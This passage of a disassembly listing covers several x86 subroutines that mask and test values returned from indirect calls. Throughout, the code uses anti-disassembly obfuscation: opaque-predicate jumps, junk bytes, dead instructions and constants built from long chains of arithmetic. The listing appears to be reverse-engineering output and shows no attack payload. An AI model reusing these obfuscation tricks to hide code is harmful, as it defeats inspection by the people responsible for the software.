neg eax
sbb eax, eax
inc eax
pop edx
mov ecx, eax
push ecx
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 1Fh
pop ebx
jo short loc_4A0280
jl short loc_4A027E
loc_4A0279: ; CODE XREF: sub_4A013E:loc_4A027Ej
; sub_4A013E:loc_4A0280j
jmp short loc_4A0282
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_4A027E: ; CODE XREF: sub_4A013E+139j
jz short loc_4A0279
loc_4A0280: ; CODE XREF: sub_4A013E+137j
jmp short loc_4A0279
; ---------------------------------------------------------------------------
loc_4A0282: ; CODE XREF: sub_4A013E:loc_4A0279j
sub bl, 5
dec bl
push eax
dec bl
dec bl
jo short loc_4A0295
jl short loc_4A0293
loc_4A0290: ; CODE XREF: sub_4A013E:loc_4A0293j
; sub_4A013E:loc_4A0295j
jmp short loc_4A0297
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_4A0293: ; CODE XREF: sub_4A013E+150j
jz short loc_4A0290
loc_4A0295: ; CODE XREF: sub_4A013E+14Ej
jmp short loc_4A0290
; ---------------------------------------------------------------------------
loc_4A0297: ; CODE XREF: sub_4A013E:loc_4A0290j
and eax, 40h
dec bl
sub bl, 12h
sub bl, 3
pop eax
dec bl
and al, bl
mov edx, 1200h
dec dh
sub dh, 1
dec dh
sub dh, 7
and ah, dh
pop ebx
pop edx
neg eax
sbb eax, eax
inc eax
dec eax
jo short loc_4A02CB
jl short loc_4A02C9
loc_4A02C4: ; CODE XREF: sub_4A013E:loc_4A02C9j
; sub_4A013E:loc_4A02CBj
jmp short loc_4A02CD
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_4A02C9: ; CODE XREF: sub_4A013E+184j
jz short loc_4A02C4
loc_4A02CB: ; CODE XREF: sub_4A013E+182j
jmp short loc_4A02C4
; ---------------------------------------------------------------------------
loc_4A02CD: ; CODE XREF: sub_4A013E:loc_4A02C4j
inc eax
dec eax
jo short loc_4A02DA
jl short loc_4A02D8
loc_4A02D3: ; CODE XREF: sub_4A013E:loc_4A02D8j
; sub_4A013E:loc_4A02DAj
jmp short loc_4A02DC
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_4A02D8: ; CODE XREF: sub_4A013E+193j
jz short loc_4A02D3
loc_4A02DA: ; CODE XREF: sub_4A013E+191j
jmp short loc_4A02D3
; ---------------------------------------------------------------------------
loc_4A02DC: ; CODE XREF: sub_4A013E:loc_4A02D3j
inc eax
dec eax
inc eax
dec eax
jo short loc_4A02E9
jl short loc_4A02E7
loc_4A02E4: ; CODE XREF: sub_4A013E:loc_4A02E7j
; sub_4A013E:loc_4A02E9j
jmp short loc_4A02EB
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_4A02E7: ; CODE XREF: sub_4A013E+1A4j
jz short loc_4A02E4
loc_4A02E9: ; CODE XREF: sub_4A013E+1A2j
jmp short loc_4A02E4
; ---------------------------------------------------------------------------
loc_4A02EB: ; CODE XREF: sub_4A013E:loc_4A02E4j
inc eax
pop ecx
cmp ecx, eax
jnz short loc_4A02F7
and eax, 0
inc eax
jmp short loc_4A02FA
; ---------------------------------------------------------------------------
loc_4A02F7: ; CODE XREF: sub_4A013E+B0j
; sub_4A013E+1B1j
and eax, 0
loc_4A02FA: ; CODE XREF: sub_4A013E+1B7j
mov [ebp+var_C], eax
mov ecx, dword_4ED414
xor ecx, dword_4ED418
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A031D
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A031D: ; CODE XREF: sub_4A013E+1D4j
mov eax, [ebp+var_8]
push eax
call off_4F1D6C
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A013E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A0331 proc near ; DATA XREF: sub_4965D8+14A4o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DA8
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
jo short loc_4A0356
jl short loc_4A0354
loc_4A0351: ; CODE XREF: sub_4A0331:loc_4A0354j
; sub_4A0331:loc_4A0356j
jmp short loc_4A0358
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4A0354: ; CODE XREF: sub_4A0331+1Ej
jz short loc_4A0351
loc_4A0356: ; CODE XREF: sub_4A0331+1Cj
jmp short loc_4A0351
; ---------------------------------------------------------------------------
loc_4A0358: ; CODE XREF: sub_4A0331:loc_4A0351j
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Ch
sub ch, 1
dec edi
inc esi
sub ch, 20h
dec edi
inc esi
dec ch
dec ch
dec edi
inc esi
sub ch, 4
dec ch
sub ch, 3
dec ch
and ah, ch
mov cl, 70h
sub cl, 2
dec cl
dec cl
dec cl
dec edi
inc esi
sub cl, 6
not al
dec edi
inc esi
bswap ecx
not al
bswap ecx
dec cl
dec cl
sub cl, 12h
add cl, 0Bh
dec cl
dec cl
jo short loc_4A03B0
jl short loc_4A03AE
loc_4A03AB: ; CODE XREF: sub_4A0331:loc_4A03AEj
; sub_4A0331:loc_4A03B0j
jmp short loc_4A03B2
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_4A03AE: ; CODE XREF: sub_4A0331+78j
jz short loc_4A03AB
loc_4A03B0: ; CODE XREF: sub_4A0331+76j
jmp short loc_4A03AB
; ---------------------------------------------------------------------------
loc_4A03B2: ; CODE XREF: sub_4A0331:loc_4A03ABj
dec cl
dec cl
dec edi
inc esi
dec cl
dec cl
sub cl, 10h
sub cl, 1
dec edi
inc esi
dec cl
dec cl
dec cl
and eax, 0
inc eax
dec cl
dec cl
dec cl
dec cl
dec cl
not ecx
bswap eax
not ecx
bswap eax
inc cl
add cl, 2
pop ecx
pop ebx
mov [ebp+var_C], eax
mov ecx, dword_4ED3D8
xor ecx, dword_4ED3DC
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A040A
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A040A: ; CODE XREF: sub_4A0331+CEj
mov eax, [ebp+var_8]
push eax
call off_4F1D30
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A0331 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A041E proc near ; DATA XREF: sub_4965D8+12DFo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D84
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
jo short loc_4A0443
jl short loc_4A0441
loc_4A043E: ; CODE XREF: sub_4A041E:loc_4A0441j
; sub_4A041E:loc_4A0443j
jmp short loc_4A0445
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4A0441: ; CODE XREF: sub_4A041E+1Ej
jz short loc_4A043E
loc_4A0443: ; CODE XREF: sub_4A041E+1Cj
jmp short loc_4A043E
; ---------------------------------------------------------------------------
loc_4A0445: ; CODE XREF: sub_4A041E:loc_4A043Ej
push edx
mov dh, 2
jo short loc_4A0451
jl short loc_4A044F
loc_4A044C: ; CODE XREF: sub_4A041E:loc_4A044Fj
; sub_4A041E:loc_4A0451j
jmp short loc_4A0453
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_4A044F: ; CODE XREF: sub_4A041E+2Cj
jz short loc_4A044C
loc_4A0451: ; CODE XREF: sub_4A041E+2Aj
jmp short loc_4A044C
; ---------------------------------------------------------------------------
loc_4A0453: ; CODE XREF: sub_4A041E:loc_4A044Cj
dec dh
dec dh
and ah, dh
mov dl, 1
and al, dl
not ah
not ah
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED3B4
xor ecx, dword_4ED3B8
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A0485
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A0485: ; CODE XREF: sub_4A041E+5Cj
mov eax, [ebp+var_8]
push eax
call off_4F1D0C
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A041E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A0499 proc near ; DATA XREF: sub_4965D8+8Bo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DC4
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ecx
mov ecx, 800h
mov ecx, 0Ch
not ecx
bswap eax
not ecx
inc ecx
dec ecx
inc ecx
dec ecx
dec ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
dec ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
dec ecx
inc ecx
dec ecx
inc ecx
dec ecx
inc ecx
dec ecx
inc ecx
dec ecx
inc ecx
dec ecx
inc ecx
inc ecx
inc cl
inc cl
inc cl
add ecx, 0Dh
inc cl
inc cl
inc cl
inc cl
inc cl
add ecx, 0Ah
dec ecx
push edx
mov edx, 4
add ecx, edx
inc ecx
pop edx
bswap eax
and eax, ecx
pop ecx
pop edx
test eax, eax
jnz loc_4A0610
mov eax, [ebp+var_4]
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Ch
sub ch, 1
sub ch, 20h
dec ch
dec ch
sub ch, 4
dec ch
sub ch, 3
dec ch
and ah, ch
mov cl, 0AEh
sub cl, 2
dec cl
dec cl
sub cl, 6
not al
bswap ecx
not al
bswap ecx
dec cl
dec cl
sub cl, 10h
dec cl
dec cl
add cl, 0Ch
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
sub cl, 10h
sub cl, 1
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
not ecx
bswap eax
not ecx
bswap eax
inc cl
add cl, 2
jo short loc_4A059A
jl short loc_4A0598
loc_4A0593: ; CODE XREF: sub_4A0499:loc_4A0598j
; sub_4A0499:loc_4A059Aj
jmp short loc_4A059C
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_4A0598: ; CODE XREF: sub_4A0499+F8j
jz short loc_4A0593
loc_4A059A: ; CODE XREF: sub_4A0499+F6j
jmp short loc_4A0593
; ---------------------------------------------------------------------------
loc_4A059C: ; CODE XREF: sub_4A0499:loc_4A0593j
and al, cl
pop ecx
pop ebx
neg eax
sbb eax, eax
inc eax
mov ecx, eax
push ecx
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 1Fh
pop ebx
jo short loc_4A05C2
jl short loc_4A05C0
loc_4A05BB: ; CODE XREF: sub_4A0499:loc_4A05C0j
; sub_4A0499:loc_4A05C2j
jmp short loc_4A05C4
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_4A05C0: ; CODE XREF: sub_4A0499+120j
jz short loc_4A05BB
loc_4A05C2: ; CODE XREF: sub_4A0499+11Ej
jmp short loc_4A05BB
; ---------------------------------------------------------------------------
loc_4A05C4: ; CODE XREF: sub_4A0499:loc_4A05BBj
sub bl, 5
dec bl
push eax
dec bl
dec bl
and eax, 41h
dec bl
sub bl, 12h
sub bl, 3
pop eax
dec bl
and al, bl
mov edx, 1500h
dec dh
sub dh, 7
dec dh
sub dh, 3
dec dh
jo short loc_4A05FA
jl short loc_4A05F8
loc_4A05F3: ; CODE XREF: sub_4A0499:loc_4A05F8j
; sub_4A0499:loc_4A05FAj
jmp short loc_4A05FC
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_4A05F8: ; CODE XREF: sub_4A0499+158j
jz short loc_4A05F3
loc_4A05FA: ; CODE XREF: sub_4A0499+156j
jmp short loc_4A05F3
; ---------------------------------------------------------------------------
loc_4A05FC: ; CODE XREF: sub_4A0499:loc_4A05F3j
and ah, dh
pop ebx
pop edx
neg eax
sbb eax, eax
inc eax
pop ecx
cmp ecx, eax
jnz short loc_4A0610
and eax, 0
inc eax
jmp short loc_4A0613
; ---------------------------------------------------------------------------
loc_4A0610: ; CODE XREF: sub_4A0499+7Bj
; sub_4A0499+16Fj
and eax, 0
loc_4A0613: ; CODE XREF: sub_4A0499+175j
mov [ebp+var_C], eax
mov ecx, dword_4ED3F4
xor ecx, dword_4ED3F8
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A0636
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A0636: ; CODE XREF: sub_4A0499+192j
mov eax, [ebp+var_8]
push eax
call off_4F1D4C
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A0499 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A064A proc near ; DATA XREF: sub_4965D8+14D1o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DE0
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 1E00h
pop ebx
jo short loc_4A0680
jl short loc_4A067E
loc_4A0679: ; CODE XREF: sub_4A064A:loc_4A067Ej
; sub_4A064A:loc_4A0680j
jmp short loc_4A0682
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_4A067E: ; CODE XREF: sub_4A064A+2Dj
jz short loc_4A0679
loc_4A0680: ; CODE XREF: sub_4A064A+2Bj
jmp short loc_4A0679
; ---------------------------------------------------------------------------
loc_4A0682: ; CODE XREF: sub_4A064A:loc_4A0679j
sub bh, 4
dec bh
push eax
dec bh
dec bh
jo short loc_4A0697
jl short loc_4A0695
loc_4A0690: ; CODE XREF: sub_4A064A:loc_4A0695j
; sub_4A064A:loc_4A0697j
jmp short loc_4A0699
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_4A0695: ; CODE XREF: sub_4A064A+44j
jz short loc_4A0690
loc_4A0697: ; CODE XREF: sub_4A064A+42j
jmp short loc_4A0690
; ---------------------------------------------------------------------------
loc_4A0699: ; CODE XREF: sub_4A064A:loc_4A0690j
and eax, 40h
sub bh, 13h
sub bh, 3
pop eax
dec bh
and ah, bh
mov edx, 12h
dec dl
jo short loc_4A06B9
jl short loc_4A06B7
loc_4A06B2: ; CODE XREF: sub_4A064A:loc_4A06B7j
; sub_4A064A:loc_4A06B9j
jmp short loc_4A06BB
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_4A06B7: ; CODE XREF: sub_4A064A+66j
jz short loc_4A06B2
loc_4A06B9: ; CODE XREF: sub_4A064A+64j
jmp short loc_4A06B2
; ---------------------------------------------------------------------------
loc_4A06BB: ; CODE XREF: sub_4A064A:loc_4A06B2j
sub dl, 1
dec dl
sub dl, 7
dec dl
dec dl
sub dl, 2
jo short loc_4A06D5
jl short loc_4A06D3
loc_4A06CE: ; CODE XREF: sub_4A064A:loc_4A06D3j
; sub_4A064A:loc_4A06D5j
jmp short loc_4A06D7
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_4A06D3: ; CODE XREF: sub_4A064A+82j
jz short loc_4A06CE
loc_4A06D5: ; CODE XREF: sub_4A064A+80j
jmp short loc_4A06CE
; ---------------------------------------------------------------------------
loc_4A06D7: ; CODE XREF: sub_4A064A:loc_4A06CEj
and al, dl
pop ebx
pop edx
neg eax
sbb eax, eax
inc eax
mov [ebp+var_C], eax
mov ecx, dword_4ED410
xor ecx, dword_4ED414
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A0703
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A0703: ; CODE XREF: sub_4A064A+AEj
mov eax, [ebp+var_8]
push eax
call off_4F1D68
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A064A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A0717 proc near ; DATA XREF: sub_4965D8+126Do
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DE0
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
push 800h
pop ecx
dec ch
dec ch
dec ch
dec ch
dec ch
dec ch
dec ch
dec ch
and ah, ch
mov cl, 10h
dec dl
sub cl, 2
dec dl
sub cl, 3
dec cl
dec dl
dec cl
dec cl
dec dl
dec cl
dec dl
dec cl
sub cl, 1
dec cl
and al, cl
pop ecx
pop ebx
test eax, eax
jz short loc_4A0785
not eax
add eax, 1
stc
jmp short loc_4A078B
; ---------------------------------------------------------------------------
loc_4A0785: ; CODE XREF: sub_4A0717+64j
not eax
add eax, 1
clc
loc_4A078B: ; CODE XREF: sub_4A0717+6Cj
sbb eax, eax
neg eax
mov [ebp+var_C], eax
mov ecx, dword_4ED410
xor ecx, dword_4ED414
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A07B2
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A07B2: ; CODE XREF: sub_4A0717+90j
mov eax, [ebp+var_8]
push eax
call off_4F1D68
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A0717 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A07C6 proc near ; DATA XREF: sub_4965D8+718o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DC0
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov dh, 2
sub dh, 0FFh
dec dh
sub dh, 0FFh
dec dh
sub dh, 0FFh
sub dh, 1
sub dh, 1
dec dh
and ah, dh
mov edx, 800h
mov dl, 0Fh
sub dl, 0FFh
sub dl, 0FFh
sub dl, 0FFh
inc dl
sub dl, 0Ah
sub dl, 0FFh
dec dl
sub dl, 0FFh
sub dl, 5
inc dl
dec dl
dec dl
dec dl
dec dl
sub dl, 3
sub dl, 0FFh
dec dl
inc dl
inc dl
and al, dl
not ah
not ah
pop edx
neg eax
sbb eax, eax
inc eax
mov [ebp+var_C], eax
mov ecx, dword_4ED3F0
xor ecx, dword_4ED3F4
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A0861
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A0861: ; CODE XREF: sub_4A07C6+90j
mov eax, [ebp+var_8]
push eax
call off_4F1D48
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A07C6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A0875 proc near ; DATA XREF: sub_4965D8+A48o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D90
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, [ebp+arg_4]
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 7
dec bh
dec bh
dec bh
dec bh
xor bh, 3
and eax, 800h
bswap ecx
pop eax
bswap ecx
and ah, bh
mov bl, 98h
sub bl, 5
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
sub bl, 0Ch
not bx
bswap eax
not bx
bswap eax
and al, bl
mov eax, eax
pop ebx
neg eax
sbb eax, eax
inc eax
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED3C0
xor ecx, dword_4ED3C4
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A0905
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A0905: ; CODE XREF: sub_4A0875+85j
mov eax, [ebp+var_8]
push eax
call off_4F1D18
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A0875 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A0919 proc near ; DATA XREF: sub_4965D8+1339o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DCC
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, [ebp+arg_4]
mov ebx, 0FFFFh
and eax, ebx
push ecx
push 4
pop ecx
dec cl
dec cl
dec cl
dec cl
and al, cl
mov bh, 0Dh
xor bl, bl
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
sub bh, 1
dec bh
add bh, 4
inc bh
sub bh, 1
dec bh
and ah, bh
pop ecx
pop ebx
test eax, eax
jz short loc_4A097D
not eax
add eax, 1
stc
jmp short loc_4A0983
; ---------------------------------------------------------------------------
loc_4A097D: ; CODE XREF: sub_4A0919+5Aj
not eax
add eax, 1
clc
loc_4A0983: ; CODE XREF: sub_4A0919+62j
sbb eax, eax
neg eax
mov [ebp+var_C], eax
mov ecx, dword_4ED3FC
xor ecx, dword_4ED400
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A09AA
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A09AA: ; CODE XREF: sub_4A0919+86j
mov eax, [ebp+var_8]
push eax
call off_4F1D54
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A0919 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A09BE proc near ; DATA XREF: sub_4965D8+415o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D84
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
jo short loc_4A09E3
jl short loc_4A09E1
loc_4A09DE: ; CODE XREF: sub_4A09BE:loc_4A09E1j
; sub_4A09BE:loc_4A09E3j
jmp short loc_4A09E5
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4A09E1: ; CODE XREF: sub_4A09BE+1Ej
jz short loc_4A09DE
loc_4A09E3: ; CODE XREF: sub_4A09BE+1Cj
jmp short loc_4A09DE
; ---------------------------------------------------------------------------
loc_4A09E5: ; CODE XREF: sub_4A09BE:loc_4A09DEj
push edx
mov dh, 0Eh
dec dh
dec dh
dec dh
dec dh
dec dh
dec dh
dec dh
dec dh
dec dh
dec dh
jo short loc_4A0A05
jl short loc_4A0A03
loc_4A0A00: ; CODE XREF: sub_4A09BE:loc_4A0A03j
; sub_4A09BE:loc_4A0A05j
jmp short loc_4A0A07
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_4A0A03: ; CODE XREF: sub_4A09BE+40j
jz short loc_4A0A00
loc_4A0A05: ; CODE XREF: sub_4A09BE+3Ej
jmp short loc_4A0A00
; ---------------------------------------------------------------------------
loc_4A0A07: ; CODE XREF: sub_4A09BE:loc_4A0A00j
dec dh
sub dh, 1
add dh, 0FEh
and ah, dh
mov dl, 1
and al, dl
not ah
not ah
pop edx
neg eax
sbb eax, eax
inc eax
mov [ebp+var_C], eax
mov ecx, dword_4ED3B4
xor ecx, dword_4ED3B8
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A0A42
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A0A42: ; CODE XREF: sub_4A09BE+79j
mov eax, [ebp+var_8]
push eax
call off_4F1D0C
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A09BE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A0A56 proc near ; DATA XREF: sub_4965D8+61Fo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DB8
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 1Fh
pop ebx
jo short loc_4A0A89
jl short loc_4A0A87
loc_4A0A82: ; CODE XREF: sub_4A0A56:loc_4A0A87j
; sub_4A0A56:loc_4A0A89j
jmp short loc_4A0A8B
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_4A0A87: ; CODE XREF: sub_4A0A56+2Aj
jz short loc_4A0A82
loc_4A0A89: ; CODE XREF: sub_4A0A56+28j
jmp short loc_4A0A82
; ---------------------------------------------------------------------------
loc_4A0A8B: ; CODE XREF: sub_4A0A56:loc_4A0A82j
sub bl, 5
dec bl
push eax
dec bl
dec bl
and eax, 41h
dec bl
sub bl, 12h
sub bl, 3
pop eax
dec bl
and al, bl
mov edx, 1500h
dec dh
sub dh, 3
dec dh
sub dh, 7
dec dh
and ah, dh
pop ebx
pop edx
neg eax
sbb eax, eax
inc eax
mov [ebp+var_C], eax
mov ecx, dword_4ED3E8
xor ecx, dword_4ED3EC
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A0AE2
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A0AE2: ; CODE XREF: sub_4A0A56+81j
mov eax, [ebp+var_8]
push eax
call off_4F1D40
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A0A56 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A0AF6 proc near ; DATA XREF: sub_4965D8+19o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D78
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, [ebp+arg_4]
mov edx, 0FFFFh
and eax, edx
push ebx
push 100h
pop ebx
dec bh
jo short loc_4A0B2F
jl short loc_4A0B2D
loc_4A0B2A: ; CODE XREF: sub_4A0AF6:loc_4A0B2Dj
; sub_4A0AF6:loc_4A0B2Fj
jmp short loc_4A0B31
; ---------------------------------------------------------------------------
db 0B8h
; ---------------------------------------------------------------------------
loc_4A0B2D: ; CODE XREF: sub_4A0AF6+32j
jz short loc_4A0B2A
loc_4A0B2F: ; CODE XREF: sub_4A0AF6+30j
jmp short loc_4A0B2A
; ---------------------------------------------------------------------------
loc_4A0B31: ; CODE XREF: sub_4A0AF6:loc_4A0B2Aj
add bh, 0FFh
add bh, 0FFh
add bh, 0FFh
add bh, 0FFh
inc bh
inc bh
inc bh
inc bh
and ah, bh
jo short loc_4A0B50
jl short loc_4A0B4E
loc_4A0B4B: ; CODE XREF: sub_4A0AF6:loc_4A0B4Ej
; sub_4A0AF6:loc_4A0B50j
jmp short loc_4A0B52
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_4A0B4E: ; CODE XREF: sub_4A0AF6+53j
jz short loc_4A0B4B
loc_4A0B50: ; CODE XREF: sub_4A0AF6+51j
jmp short loc_4A0B4B
; ---------------------------------------------------------------------------
loc_4A0B52: ; CODE XREF: sub_4A0AF6:loc_4A0B4Bj
mov bl, 17h
sub bl, 9
dec bl
dec bl
dec bl
sub bl, 4
dec bl
dec bl
dec bl
and al, bl
pop ebx
pop edx
test eax, eax
jz short loc_4A0B76
not eax
add eax, 1
stc
jmp short loc_4A0B7C
; ---------------------------------------------------------------------------
loc_4A0B76: ; CODE XREF: sub_4A0AF6+76j
not eax
add eax, 1
clc
loc_4A0B7C: ; CODE XREF: sub_4A0AF6+7Ej
sbb eax, eax
inc eax
dec eax
jo short loc_4A0B8B
jl short loc_4A0B89
loc_4A0B84: ; CODE XREF: sub_4A0AF6:loc_4A0B89j
; sub_4A0AF6:loc_4A0B8Bj
jmp short loc_4A0B8D
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
